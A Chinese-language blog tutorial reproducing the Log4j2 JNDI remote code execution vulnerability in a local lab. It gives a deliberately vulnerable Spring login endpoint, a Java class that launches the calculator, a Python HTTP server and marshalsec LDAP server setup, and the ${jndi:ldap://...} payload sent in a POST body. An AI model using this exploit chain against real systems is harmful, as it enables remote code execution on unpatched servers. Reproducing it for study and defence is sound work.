记录一次log4j复现之旅(复现不了你来找我)

前言

周末闲暇无事,看到最近爆出的spring漏洞,就想起了年前的Log4j漏洞。
所以顺带的先复现一下log4j漏洞,日后再复现一下spring漏洞。
过程巨详细,复现不了你来找我!

原理简述

在这里插入图片描述一句话简述就是:存在log4j的Web服务端,能够访问客户端请求中的代码,然后远程执行了此代码。

举个栗子:
你在登录账号的时候,客户端发了一个post请求:user:zhangsan,password:123456
然后服务端就会读到发送的post请求,来决定能否登录成功。

但是存在log4j漏洞的appache服务器。会对post请求中的jndi协议进行解析,从而远程代码执行!

详细原理可以参考: log4j2-RCE 漏洞复现

想知道具体复现的过程的话就请接着往下看吧。

搭建服务端环境

IDEA(我的是2018)–>File–>New–>Project–>Spring Initialize
在这里插入图片描述Next–>java version 选 8(我的JDK版本是8)
在这里插入图片描述Next–>Web–>spring web勾上–>next–>自己取个名字(我的是log4j_demo)–>finish
在这里插入图片描述在这里插入图片描述打开pom 导入log4j的依赖。

    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.8.1</version>
    </dependency>
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.8.1</version>
    </dependency>

具体位置如下图,在spring-boot-starter-test下面粘贴上就行了
在这里插入图片描述在:D:**\log4j_demo\src\main\java\com\example\demo 下创建java class文件HelloLog4j.java

并编写如下内容:并保存

package com.example.demo;

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RestController;

import java.util.Map;

@RestController
public class HelloLog4j {

    private Logger  Logger = LogManager.getLogger(HelloLog4j.class);
    
    @RequestMapping(value = "/login" , method = {RequestMethod.POST})
        public String login(@RequestBody Map body) {
        String user = body.get("user").toString();
        String password = body.get("password").toString();

        Logger.error("user:{}, password:{}" , user ,password);
        return "login";
    }
}

如图所示,设置VM options
在这里插入图片描述

-Dcom.sun.jndi.ldap.object.trustURLCodebase=true

将此代码跑起来。访问一下:http://127.0.0.1:8080/login
可以看到访问是成功了,但是因为浏览器传参用的Get但是服务器设定的是POST,所以会有Whitelabel Error Page。这个我们暂时不用管!至少说明这个服务是开起来了!
在这里插入图片描述

编写攻击Exp

我们再新建一个java 文件。File–>new–>project–>java–>next–>next–>自己取个名(我的是Exp)–>Finish
在这里插入图片描述在里面新建一个java class文件,并写入以下内容,这里就是让系统执行一个打开计算器的指令。

import java.io.IOException;

public class Exp {
    public Exp(){
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    public static void main(String[] args) {
        Exp exploit = new Exp();
    }

}

保存–>运行(点击绿色三角形)
可以看到自己的计算机被打开了,并且该文件的同级目录下生成了一个class文件。
这个class文件就是我们后面要利用的Exp。
在这里插入图片描述进入此文件夹。输入cmd,打开小黑框(这样做有个好处,攻击文件就正好的服务器的根目录下)
在这里插入图片描述利用命令,开启一个端口号为1234的本地服务器。

python -m http.server 1234

在这里插入图片描述再利用反序列化工具marshalsec ,开一个LDAP服务,具体操作如下:

先下载好marshalsec,进入相应的文件夹,输入cmd,再在小黑窗输入如下指令:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:1234/#Exp

注意:这里最后的#后面的Exp是我的class文件名,可自行修改为你自己的文件名。
在这里插入图片描述

实施攻击(Exploit)

利用一个发包工具 https://postwoman. 你用postman也可以,但是hackbar不行(不能改content-type类型)。
进行发包,来模拟黑客攻击。
在Method设置为POST。再点击Add New,如下图操作。

${jndi:ldap://127.0.0.1:1389/Exp}

在这里插入图片描述点击Send实施攻击。

好家伙,马上360开始拦截,报Log4j漏洞攻击。我们点击允许。发现计算器被打开了。漏洞复现成功!!
在这里插入图片描述在这里插入图片描述

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值